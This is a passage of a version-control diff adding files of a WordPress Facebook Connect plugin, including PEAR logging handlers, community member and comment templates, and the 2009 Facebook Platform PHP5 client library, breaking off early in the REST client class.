+        /* Extract the string representation of the message. */
+        $message = $this->_extractMessage($message);
+
+        /* Build the string containing the complete log line. */
+        $line = $this->_format($this->_lineFormat,
+                               strftime($this->_timeFormat),
+                               $priority, $message) . $this->_eol;
+
+        /* If locking is enabled, acquire an exclusive lock on the file. */
+        if ($this->_locking) {
+            flock($this->_fp, LOCK_EX);
+        }
+
+        /* Write the log line to the log file. */
+        $success = (fwrite($this->_fp, $line) !== false);
+
+        /* Unlock the file now that we're finished writing to it. */ 
+        if ($this->_locking) {
+            flock($this->_fp, LOCK_UN);
+        }
+
+        /* Notify observers about this log message. */
+        $this->_announce(array('priority' => $priority, 'message' => $message));
+
+        return $success;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/null.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/null.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/Log/null.php	(revision 44)
@@ -0,0 +1,91 @@
+<?php
+/**
+ * $Header: /repository/pear/Log/Log/null.php,v 1.5 2006/06/29 07:09:21 jon Exp $
+ *
+ * @version $Revision: 1.5 $
+ * @package Log
+ */
+
+/**
+ * The Log_null class is a concrete implementation of the Log:: abstract
+ * class.  It simply consumes log events.
+ *
+ * @author  Jon Parise <jon@php.net>
+ * @since   Log 1.8.2
+ * @package Log
+ *
+ * @example null.php    Using the null handler.
+ */
+class Log_null extends Log
+{
+    /**
+     * Constructs a new Log_null object.
+     *
+     * @param string $name     Ignored.
+     * @param string $ident    The identity string.
+     * @param array  $conf     The configuration array.
+     * @param int    $level    Log messages up to and including this level.
+     * @access public
+     */
+    function Log_null($name, $ident = '', $conf = array(),
+					  $level = PEAR_LOG_DEBUG)
+    {
+        $this->_id = md5(microtime());
+        $this->_ident = $ident;
+        $this->_mask = Log::UPTO($level);
+    }
+
+    /**
+     * Opens the handler.
+     *
+     * @access  public
+     * @since   Log 1.9.6
+     */
+    function open()
+    {
+        $this->_opened = true;
+        return true;
+    }
+
+    /**
+     * Closes the handler.
+     *
+     * @access  public
+     * @since   Log 1.9.6
+     */
+    function close()
+    {
+        $this->_opened = false;
+        return true;
+    }
+
+    /**
+     * Simply consumes the log event.  The message will still be passed
+     * along to any Log_observer instances that are observing this Log.
+     *
+     * @param mixed  $message    String or object containing the message to log.
+     * @param string $priority The priority of the message.  Valid
+     *                  values are: PEAR_LOG_EMERG, PEAR_LOG_ALERT,
+     *                  PEAR_LOG_CRIT, PEAR_LOG_ERR, PEAR_LOG_WARNING,
+     *                  PEAR_LOG_NOTICE, PEAR_LOG_INFO, and PEAR_LOG_DEBUG.
+     * @return boolean  True on success or false on failure.
+     * @access public
+     */
+    function log($message, $priority = null)
+    {
+        /* If a priority hasn't been specified, use the default value. */
+        if ($priority === null) {
+            $priority = $this->_priority;
+        }
+
+        /* Abort early if the priority is above the maximum logging level. */
+        if (!$this->_isMasked($priority)) {
+            return false;
+        }
+
+        $this->_announce(array('priority' => $priority, 'message' => $message));
+
+        return true;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/community.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/community.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/community.php	(revision 44)
@@ -0,0 +1,58 @@
+<?php 
+/**
+ * @author: Javier Reyes Gomez (http://www.sociable.es)
+ * @date: 05/10/2008
+ * @license: GPLv2
+ */
+
+get_header();
+?> 
+
+	<div class="fbnarrowcolumn narrowcolumn">
+		
+<?php
+
+	$fb_user = fb_get_loggedin_user();
+	if(isset($fb_user) && $fb_user!=""){
+		$users = WPfbConnect_Logic::get_connected_friends($fb_user);
+		echo "<h2>".__('Community friends', 'fbconnect')."</h2>\n";
+		echo "<div class=\"fbconnect_userpics2\">\n";
+		foreach($users as $user){
+			echo "<div><a style=\"border: 2px solid #d5d6d7;\" onclick=\"location.href='./?fbconnect_action=myhome&fbuserid=".$user["uid"]."';\" href=\"./?fbconnect_action=myhome&fbuserid=".$user["uid"]."\"><fb:profile-pic uid=\"".$user["uid"]."\" size=\"square\" linked=\"false\"></fb:profile-pic></a></div>\n";
+		}
+		echo "</div>\n";
+	}else{
+		
+	}
+?> 
+		
+<?php
+		$users_count = WPfbConnect_Logic::get_count_users();
+		echo "<h2>".__('Community', 'fbconnect')." (".$users_count." ".__('members', 'fbconnect').")</h2>";
+		
+		$pos = 0;
+		if (isset ($_REQUEST["pos"])){
+			$pos= (int)$_REQUEST["pos"];
+		}
+		$viewusers = 50;
+		$users = WPfbConnect_Logic::get_lastusers_fbconnect($viewusers,$pos);
+
+			echo "<div class=\"fbconnect_userpics2\">";
+			foreach($users as $user){
+				echo get_avatar( $user->ID,50 );
+			}
+			echo "</div>";
+
+		if ($pos>=$viewusers){
+			echo '<a href="'.get_option('siteurl').'/?fbconnect_action=community&pos='.($pos-$viewusers).'">&laquo; '.__('Previous page', 'fbconnect').'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a>';
+		}
+		if (($pos+$viewusers)<$users_count){
+			echo '<a href="'.get_option('siteurl').'/?fbconnect_action=community&pos='.($pos+$viewusers).'"> '.__('Next page', 'fbconnect').' &raquo;</a>';
+		}
+
+?>
+
+</div>
+
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/community_comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/community_comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/community_comments.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php 
+		$comments = WPfbConnect_Logic::get_community_comments(5);
+?>
+<?php if ($comments) : ?>
+
+	<ol class="commentlist">
+	<?php global $comment;?>
+	<?php foreach ($comments as $comment) : ?>
+
+		<li <?php echo $oddcomment; ?>id="comment-<?php comment_ID() ?>">
+			<?php echo get_avatar( $comment, 32 ); ?>
+			<b style="font-size: 175%;"><a href="<?php echo get_permalink($comment->comment_post_ID) ?>" rel="bookmark" title="Permanent Link to <?php echo $comment->post_title;?>"><?php echo $comment->post_title;?></a></b>
+			<br/>
+			<cite><?php _e('Sent by', 'fbconnect'); ?> <?php comment_author_link() ?></cite>
+			<small class="commentmetadata"><a href="<?php echo get_permalink($comment->comment_post_ID) ?>#comment-<?php comment_ID() ?>" title=""><?php comment_date('F jS, Y') ?> at <?php comment_time() ?></a> <?php edit_comment_link('edit','&nbsp;&nbsp;',''); ?></small>
+			
+			<?php comment_text() ?>
+
+		</li>
+
+	<?php
+		/* Changes every other comment to a different class */
+		$oddcomment = ( empty( $oddcomment ) ) ? 'class="alt" ' : '';
+	?>
+
+	<?php endforeach; /* end for each comment */ ?>
+
+	</ol>
+<?php endif; ?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/facebook.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/facebook.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/facebook.php	(revision 44)
@@ -0,0 +1,498 @@
+<?php
+// Copyright 2004-2009 Facebook. All Rights Reserved.
+//
+// +---------------------------------------------------------------------------+
+// | Facebook Platform PHP5 client                                             |
+// +---------------------------------------------------------------------------+
+// | Copyright (c) 2007 Facebook, Inc.                                         |
+// | All rights reserved.                                                      |
+// |                                                                           |
+// | Redistribution and use in source and binary forms, with or without        |
+// | modification, are permitted provided that the following conditions        |
+// | are met:                                                                  |
+// |                                                                           |
+// | 1. Redistributions of source code must retain the above copyright         |
+// |    notice, this list of conditions and the following disclaimer.          |
+// | 2. Redistributions in binary form must reproduce the above copyright      |
+// |    notice, this list of conditions and the following disclaimer in the    |
+// |    documentation and/or other materials provided with the distribution.   |
+// |                                                                           |
+// | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      |
+// | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES |
+// | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   |
+// | IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          |
+// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  |
+// | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
+// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     |
+// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       |
+// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  |
+// | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         |
+// +---------------------------------------------------------------------------+
+// | For help with this library, contact developers-help@facebook.com          |
+// +---------------------------------------------------------------------------+
+
+include_once 'facebookapi_php5_restlib.php';
+
+define('FACEBOOK_API_VALIDATION_ERROR', 1);
+class Facebook {
+  public $api_client;
+  public $api_key;
+  public $secret;
+  public $generate_session_secret;
+  public $session_expires;
+
+  public $fb_params;
+  public $user;
+  public $profile_user;
+  public $canvas_user;
+  protected $base_domain;
+  /*
+   * Create a Facebook client like this:
+   *
+   * $fb = new Facebook(API_KEY, SECRET);
+   *
+   * This will automatically pull in any parameters, validate them against the
+   * session signature, and chuck them in the public $fb_params member variable.
+   *
+   * @param api_key                  your Developer API key
+   * @param secret                   your Developer API secret
+   * @param generate_session_secret  whether to automatically generate a session
+   *                                 if the user doesn't have one, but
+   *                                 there is an auth token present in the url,
+   */
+  public function __construct($api_key, $secret, $generate_session_secret=false) {
+    $this->api_key                 = $api_key;
+    $this->secret                  = $secret;
+    $this->generate_session_secret = $generate_session_secret;
+    $this->api_client = new FacebookRestClient($api_key, $secret, null);
+    $this->validate_fb_params();
+
+    // Set the default user id for methods that allow the caller to
+    // pass an explicit uid instead of using a session key.
+    $defaultUser = null;
+    if ($this->user) {
+      $defaultUser = $this->user;
+    } else if ($this->profile_user) {
+      $defaultUser = $this->profile_user;
+    } else if ($this->canvas_user) {
+      $defaultUser = $this->canvas_user;
+    }
+
+    $this->api_client->set_user($defaultUser);
+
+
+    if (isset($this->fb_params['friends'])) {
+      $this->api_client->friends_list = explode(',', $this->fb_params['friends']);
+    }
+    if (isset($this->fb_params['added'])) {
+      $this->api_client->added = $this->fb_params['added'];
+    }
+    if (isset($this->fb_params['canvas_user'])) {
+      $this->api_client->canvas_user = $this->fb_params['canvas_user'];
+    }
+  }
+
+  /*
+   * Validates that the parameters passed in were sent from Facebook. It does so
+   * by validating that the signature matches one that could only be generated
+   * by using your application's secret key.
+   *
+   * Facebook-provided parameters will come from $_POST, $_GET, or $_COOKIE,
+   * in that order. $_POST and $_GET are always more up-to-date than cookies,
+   * so we prefer those if they are available.
+   *
+   * For nitty-gritty details of when each of these is used, check out
+   * http://wiki.developers.facebook.com/index.php/Verifying_The_Signature
+   *
+   * @param bool  resolve_auth_token  convert an auth token into a session
+   */
+  public function validate_fb_params($resolve_auth_token=true) {
+    $this->fb_params = $this->get_valid_fb_params($_POST, 48*3600, 'fb_sig');
+
+    // note that with preload FQL, it's possible to receive POST params in
+    // addition to GET, so use a different prefix to differentiate them
+    if (!$this->fb_params) {
+      $fb_params = $this->get_valid_fb_params($_GET, 48*3600, 'fb_sig');
+      $fb_post_params = $this->get_valid_fb_params($_POST, 48*3600, 'fb_post_sig');
+      $this->fb_params = array_merge($fb_params, $fb_post_params);
+    }
+
+    // Okay, something came in via POST or GET
+    if ($this->fb_params) {
+      $user               = isset($this->fb_params['user']) ?
+                            $this->fb_params['user'] : null;
+      $this->profile_user = isset($this->fb_params['profile_user']) ?
+                            $this->fb_params['profile_user'] : null;
+      $this->canvas_user  = isset($this->fb_params['canvas_user']) ?
+                            $this->fb_params['canvas_user'] : null;
+      $this->base_domain  = isset($this->fb_params['base_domain']) ?
+                            $this->fb_params['base_domain'] : null;
+
+      if (isset($this->fb_params['session_key'])) {
+        $session_key =  $this->fb_params['session_key'];
+      } else if (isset($this->fb_params['profile_session_key'])) {
+        $session_key =  $this->fb_params['profile_session_key'];
+      } else {
+        $session_key = null;
+      }
+      $expires     = isset($this->fb_params['expires']) ?
+                     $this->fb_params['expires'] : null;
+      $this->set_user($user,
+                      $session_key,
+                      $expires);
+    }
+    // if no Facebook parameters were found in the GET or POST variables,
+    // then fall back to cookies, which may have cached user information
+    // Cookies are also used to receive session data via the Javascript API
+    else if ($cookies =
+             $this->get_valid_fb_params($_COOKIE, null, $this->api_key)) {
+
+      $base_domain_cookie = 'base_domain_' . $this->api_key;
+      if (isset($_COOKIE[$base_domain_cookie])) {
+        $this->base_domain = $_COOKIE[$base_domain_cookie];
+      }
+
+      // use $api_key . '_' as a prefix for the cookies in case there are
+      // multiple facebook clients on the same domain.
+      $expires = isset($cookies['expires']) ? $cookies['expires'] : null;
+      $this->set_user($cookies['user'],
+                      $cookies['session_key'],
+                      $expires);
+    }
+    // finally, if we received no parameters, but the 'auth_token' GET var
+    // is present, then we are in the middle of auth handshake,
+    // so go ahead and create the session
+    else if ($resolve_auth_token && isset($_GET['auth_token']) &&
+             $session = $this->do_get_session($_GET['auth_token'])) {
+      if ($this->generate_session_secret &&
+          !empty($session['secret'])) {
+        $session_secret = $session['secret'];
+      }
+
+      if (isset($session['base_domain'])) {
+        $this->base_domain = $session['base_domain'];
+      }
+
+      $this->set_user($session['uid'],
+                      $session['session_key'],
+                      $session['expires'],
+                      isset($session_secret) ? $session_secret : null);
+    }
+
+    return !empty($this->fb_params);
+  }
+
+  // Store a temporary session secret for the current session
+  // for use with the JS client library
+  public function promote_session() {
+    try {
+      $session_secret = $this->api_client->auth_promoteSession();
+      if (!$this->in_fb_canvas()) {
+        $this->set_cookies($this->user, $this->api_client->session_key, $this->session_expires, $session_secret);
+      }
+      return $session_secret;
+    } catch (FacebookRestClientException $e) {
+      // API_EC_PARAM means we don't have a logged in user, otherwise who
+      // knows what it means, so just throw it.
+      if ($e->getCode() != FacebookAPIErrorCodes::API_EC_PARAM) {
+        throw $e;
+      }
+    }
+  }
+
+  public function do_get_session($auth_token) {
+    try {
+      return $this->api_client->auth_getSession($auth_token, $this->generate_session_secret);
+    } catch (FacebookRestClientException $e) {
+      // API_EC_PARAM means we don't have a logged in user, otherwise who
+      // knows what it means, so just throw it.
+      if ($e->getCode() != FacebookAPIErrorCodes::API_EC_PARAM) {
+        throw $e;
+      }
+    }
+  }
+
+  // Invalidate the session currently being used, and clear any state associated with it
+  public function expire_session() {
+    if ($this->api_client->auth_expireSession()) {
+      if (!$this->in_fb_canvas() && isset($_COOKIE[$this->api_key . '_user'])) {
+        $cookies = array('user', 'session_key', 'expires', 'ss');
+        foreach ($cookies as $name) {
+          setcookie($this->api_key . '_' . $name, false, time() - 3600);
+          unset($_COOKIE[$this->api_key . '_' . $name]);
+        }
+        setcookie($this->api_key, false, time() - 3600);
+        unset($_COOKIE[$this->api_key]);
+      }
+
+      // now, clear the rest of the stored state
+      $this->user = 0;
+      $this->api_client->session_key = 0;
+      return true;
+    } else {
+      return false;
+    }
+  }
+
+  public function redirect($url) {
+    if ($this->in_fb_canvas()) {
+      echo '<fb:redirect url="' . $url . '"/>';
+    } else if (preg_match('/^https?:\/\/([^\/]*\.)?facebook\.com(:\d+)?/i', $url)) {
+      // make sure facebook.com url's load in the full frame so that we don't
+      // get a frame within a frame.
+      echo "<script type=\"text/javascript\">\ntop.location.href = \"$url\";\n</script>";
+    } else {
+      header('Location: ' . $url);
+    }
+    exit;
+  }
+
+  public function in_frame() {
+    return isset($this->fb_params['in_canvas']) || isset($this->fb_params['in_iframe']);
+  }
+  public function in_fb_canvas() {
+    return isset($this->fb_params['in_canvas']);
+  }
+
+  public function get_loggedin_user() {
+    return $this->user;
+  }
+
+  public function get_canvas_user() {
+    return $this->canvas_user;
+  }
+
+  public function get_profile_user() {
+    return $this->profile_user;
+  }
+
+  public static function current_url() {
+    return 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+  }
+
+  // require_add and require_install have been removed.
+  // see http://developer.facebook.com/news.php?blog=1&story=116 for more details
+  public function require_login() {
+    if ($user = $this->get_loggedin_user()) {
+      return $user;
+    }
+    $this->redirect($this->get_login_url(self::current_url(), $this->in_frame()));
+  }
+
+  public function require_frame() {
+    if (!$this->in_frame()) {
+      $this->redirect($this->get_login_url(self::current_url(), true));
+    }
+  }
+
+  public static function get_facebook_url($subdomain='www') {
+    return 'http://' . $subdomain . '.facebook.com';
+  }
+
+  public function get_install_url($next=null) {
+    // this was renamed, keeping for compatibility's sake
+    return $this->get_add_url($next);
+  }
+
+  public function get_add_url($next=null) {
+    return self::get_facebook_url().'/add.php?api_key='.$this->api_key .
+      ($next ? '&next=' . urlencode($next) : '');
+  }
+
+  public function get_login_url($next, $canvas) {
+    return self::get_facebook_url().'/login.php?v=1.0&api_key=' . $this->api_key .
+      ($next ? '&next=' . urlencode($next)  : '') .
+      ($canvas ? '&canvas' : '');
+  }
+
+  public function set_user($user, $session_key, $expires=null, $session_secret=null) {
+    if (!$this->in_fb_canvas() && (!isset($_COOKIE[$this->api_key . '_user'])
+                                   || $_COOKIE[$this->api_key . '_user'] != $user)) {
+      $this->set_cookies($user, $session_key, $expires, $session_secret);
+    }
+    $this->user = $user;
+    $this->api_client->session_key = $session_key;
+    $this->session_expires = $expires;
+  }
+
+  public function set_cookies($user, $session_key, $expires=null, $session_secret=null) {
+    $cookies = array();
+    $cookies['user'] = $user;
+    $cookies['session_key'] = $session_key;
+    if ($expires != null) {
+      $cookies['expires'] = $expires;
+    }
+    if ($session_secret != null) {
+      $cookies['ss'] = $session_secret;
+    }
+
+    foreach ($cookies as $name => $val) {
+      setcookie($this->api_key . '_' . $name, $val, (int)$expires, '', $this->base_domain);
+      $_COOKIE[$this->api_key . '_' . $name] = $val;
+    }
+    $sig = self::generate_sig($cookies, $this->secret);
+    setcookie($this->api_key, $sig, (int)$expires, '', $this->base_domain);
+    $_COOKIE[$this->api_key] = $sig;
+
+    if ($this->base_domain != null) {
+      $base_domain_cookie = 'base_domain_' . $this->api_key;
+      setcookie($base_domain_cookie, $this->base_domain, (int)$expires, '', $this->base_domain);
+      $_COOKIE[$base_domain_cookie] = $this->base_domain;
+    }
+  }
+
+  /**
+   * Tries to undo the badness of magic quotes as best we can
+   * @param     string   $val   Should come directly from $_GET, $_POST, etc.
+   * @return    string   val without added slashes
+   */
+  public static function no_magic_quotes($val) {
+    if (get_magic_quotes_gpc()) {
+      return stripslashes($val);
+    } else {
+      return $val;
+    }
+  }
+
+  /*
+   * Get the signed parameters that were sent from Facebook. Validates the set
+   * of parameters against the included signature.
+   *
+   * Since Facebook sends data to your callback URL via unsecured means, the
+   * signature is the only way to make sure that the data actually came from
+   * Facebook. So if an app receives a request at the callback URL, it should
+   * always verify the signature that comes with against your own secret key.
+   * Otherwise, it's possible for someone to spoof a request by
+   * pretending to be someone else, i.e.:
+   *      www.your-callback-url.com/?fb_user=10101
+   *
+   * This is done automatically by verify_fb_params.
+   *
+   * @param  assoc  $params     a full array of external parameters.
+   *                            presumed $_GET, $_POST, or $_COOKIE
+   * @param  int    $timeout    number of seconds that the args are good for.
+   *                            Specifically good for forcing cookies to expire.
+   * @param  string $namespace  prefix string for the set of parameters we want
+   *                            to verify. i.e., fb_sig or fb_post_sig
+   *
+   * @return  assoc the subset of parameters containing the given prefix,
+   *                and also matching the signature associated with them.
+   *          OR    an empty array if the params do not validate
+   */
+  public function get_valid_fb_params($params, $timeout=null, $namespace='fb_sig') {
+    $prefix = $namespace . '_';
+    $prefix_len = strlen($prefix);
+    $fb_params = array();
+    if (empty($params)) {
+      return array();
+    }
+
+    foreach ($params as $name => $val) {
+      // pull out only those parameters that match the prefix
+      // note that the signature itself ($params[$namespace]) is not in the list
+      if (strpos($name, $prefix) === 0) {
+        $fb_params[substr($name, $prefix_len)] = self::no_magic_quotes($val);
+      }
+    }
+
+    // validate that the request hasn't expired. this is most likely
+    // for params that come from $_COOKIE
+    if ($timeout && (!isset($fb_params['time']) || time() - $fb_params['time'] > $timeout)) {
+      return array();
+    }
+
+    // validate that the params match the signature
+    $signature = isset($params[$namespace]) ? $params[$namespace] : null;
+    if (!$signature || (!$this->verify_signature($fb_params, $signature))) {
+      return array();
+    }
+    return $fb_params;
+  }
+
+  /*
+   * Validates that a given set of parameters match their signature.
+   * Parameters all match a given input prefix, such as "fb_sig".
+   *
+   * @param $fb_params     an array of all Facebook-sent parameters,
+   *                       not including the signature itself
+   * @param $expected_sig  the expected result to check against
+   */
+  public function verify_signature($fb_params, $expected_sig) {
+    return self::generate_sig($fb_params, $this->secret) == $expected_sig;
+  }
+
+  /*
+   * Generate a signature using the application secret key.
+   *
+   * The only two entities that know your secret key are you and Facebook,
+   * according to the Terms of Service. Since nobody else can generate
+   * the signature, you can rely on it to verify that the information
+   * came from Facebook.
+   *
+   * @param $params_array   an array of all Facebook-sent parameters,
+   *                        NOT INCLUDING the signature itself
+   * @param $secret         your app's secret key
+   *
+   * @return a hash to be checked against the signature provided by Facebook
+   */
+  public static function generate_sig($params_array, $secret) {
+    $str = '';
+
+    ksort($params_array);
+    // Note: make sure that the signature parameter is not already included in
+    //       $params_array.
+    foreach ($params_array as $k=>$v) {
+      $str .= "$k=$v";
+    }
+    $str .= $secret;
+
+    return md5($str);
+  }
+
+  public function encode_validationError($summary, $message) {
+    return json_encode(
+               array('errorCode'    => FACEBOOK_API_VALIDATION_ERROR,
+                     'errorTitle'   => $summary,
+                     'errorMessage' => $message));
+  }
+
+  public function encode_multiFeedStory($feed, $next) {
+    return json_encode(
+               array('method'   => 'multiFeedStory',
+                     'content'  =>
+                     array('next' => $next,
+                           'feed' => $feed)));
+  }
+
+  public function encode_feedStory($feed, $next) {
+    return json_encode(
+               array('method'   => 'feedStory',
+                     'content'  =>
+                     array('next' => $next,
+                           'feed' => $feed)));
+  }
+
+  public function create_templatizedFeedStory($title_template, $title_data=array(),
+                                    $body_template='', $body_data = array(), $body_general=null,
+                                    $image_1=null, $image_1_link=null,
+                                    $image_2=null, $image_2_link=null,
+                                    $image_3=null, $image_3_link=null,
+                                    $image_4=null, $image_4_link=null) {
+    return array('title_template'=> $title_template,
+                 'title_data'   => $title_data,
+                 'body_template'=> $body_template,
+                 'body_data'    => $body_data,
+                 'body_general' => $body_general,
+                 'image_1'      => $image_1,
+                 'image_1_link' => $image_1_link,
+                 'image_2'      => $image_2,
+                 'image_2_link' => $image_2_link,
+                 'image_3'      => $image_3,
+                 'image_3_link' => $image_3_link,
+                 'image_4'      => $image_4,
+                 'image_4_link' => $image_4_link);
+  }
+
+
+}
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/facebook_desktop.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/facebook_desktop.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/facebook_desktop.php	(revision 44)
@@ -0,0 +1,104 @@
+<?php
+// Copyright 2004-2009 Facebook. All Rights Reserved.
+//
+// +---------------------------------------------------------------------------+
+// | Facebook Platform PHP5 client                                             |
+// +---------------------------------------------------------------------------+
+// | Copyright (c) 2007 Facebook, Inc.                                         |
+// | All rights reserved.                                                      |
+// |                                                                           |
+// | Redistribution and use in source and binary forms, with or without        |
+// | modification, are permitted provided that the following conditions        |
+// | are met:                                                                  |
+// |                                                                           |
+// | 1. Redistributions of source code must retain the above copyright         |
+// |    notice, this list of conditions and the following disclaimer.          |
+// | 2. Redistributions in binary form must reproduce the above copyright      |
+// |    notice, this list of conditions and the following disclaimer in the    |
+// |    documentation and/or other materials provided with the distribution.   |
+// |                                                                           |
+// | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      |
+// | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES |
+// | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   |
+// | IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          |
+// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  |
+// | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
+// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     |
+// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       |
+// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  |
+// | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         |
+// +---------------------------------------------------------------------------+
+// | For help with this library, contact developers-help@facebook.com          |
+// +---------------------------------------------------------------------------+
+//
+
+/**
+ *  This class extends and modifies the "Facebook" class to better
+ *  suit desktop apps.
+ */
+class FacebookDesktop extends Facebook {
+  // the application secret, which differs from the session secret
+  public $app_secret;
+  public $verify_sig;
+
+  public function __construct($api_key, $secret) {
+    $this->app_secret = $secret;
+    $this->verify_sig = false;
+    parent::__construct($api_key, $secret);
+  }
+
+  public function do_get_session($auth_token) {
+    $this->api_client->secret = $this->app_secret;
+    $this->api_client->session_key = null;
+    $session_info = parent::do_get_session($auth_token);
+    if (!empty($session_info['secret'])) {
+      // store the session secret
+      $this->set_session_secret($session_info['secret']);
+    }
+    return $session_info;
+  }
+
+  public function set_session_secret($session_secret) {
+    $this->secret = $session_secret;
+    $this->api_client->secret = $session_secret;
+  }
+
+  public function require_login() {
+    if ($this->get_loggedin_user()) {
+      try {
+        // try a session-based API call to ensure that we have the correct
+        // session secret
+        $user = $this->api_client->users_getLoggedInUser();
+
+        // now that we have a valid session secret, verify the signature
+        $this->verify_sig = true;
+        if ($this->validate_fb_params(false)) {
+          return $user;
+        } else {
+          // validation failed
+          return null;
+        }
+      } catch (FacebookRestClientException $ex) {
+        if (isset($_GET['auth_token'])) {
+          // if we have an auth_token, use it to establish a session
+          $session_info = $this->do_get_session($_GET['auth_token']);
+          if ($session_info) {
+            return $session_info['uid'];
+          }
+        }
+      }
+    }
+    // if we get here, we need to redirect the user to log in
+    $this->redirect($this->get_login_url(self::current_url(), $this->in_fb_canvas()));
+  }
+
+  public function verify_signature($fb_params, $expected_sig) {
+    // we don't want to verify the signature until we have a valid
+    // session secret
+    if ($this->verify_sig) {
+      return parent::verify_signature($fb_params, $expected_sig);
+    } else {
+      return true;
+    }
+  }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/facebookapi_php5_restlib.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/facebookapi_php5_restlib.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/facebook-client/facebookapi_php5_restlib.php	(revision 44)
@@ -0,0 +1,3129 @@
+<?php
+// Copyright 2004-2009 Facebook. All Rights Reserved.
+//
+// +---------------------------------------------------------------------------+
+// | Facebook Platform PHP5 client                                             |
+// +---------------------------------------------------------------------------+
+// | Copyright (c) 2007-2009 Facebook, Inc.                                    |
+// | All rights reserved.                                                      |
+// |                                                                           |
+// | Redistribution and use in source and binary forms, with or without        |
+// | modification, are permitted provided that the following conditions        |
+// | are met:                                                                  |
+// |                                                                           |
+// | 1. Redistributions of source code must retain the above copyright         |
+// |    notice, this list of conditions and the following disclaimer.          |
+// | 2. Redistributions in binary form must reproduce the above copyright      |
+// |    notice, this list of conditions and the following disclaimer in the    |
+// |    documentation and/or other materials provided with the distribution.   |
+// |                                                                           |
+// | THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR      |
+// | IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES |
+// | OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.   |
+// | IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,          |
+// | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT  |
+// | NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, |
+// | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY     |
+// | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT       |
+// | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF  |
+// | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.         |
+// +---------------------------------------------------------------------------+
+// | For help with this library, contact developers-help@facebook.com          |
+// +---------------------------------------------------------------------------+
+//
+
+include_once 'jsonwrapper/jsonwrapper.php';
+
+class FacebookRestClient {
+  public $secret;
+  public $session_key;
+  public $api_key;
+  // to save making the friends.get api call, this will get prepopulated on
+  // canvas pages
+  public $friends_list;
+  public $user;
+  // to save making the pages.isAppAdded api call, this will get prepopulated
+  // on canvas pages
+  public $added;
+  public $is_user;
+  // we don't pass friends list to iframes, but we want to make
+  // friends_get really simple in the canvas_user (non-logged in) case.
+  // So we use the canvas_user as default arg to friends_get
+  public $canvas_user;
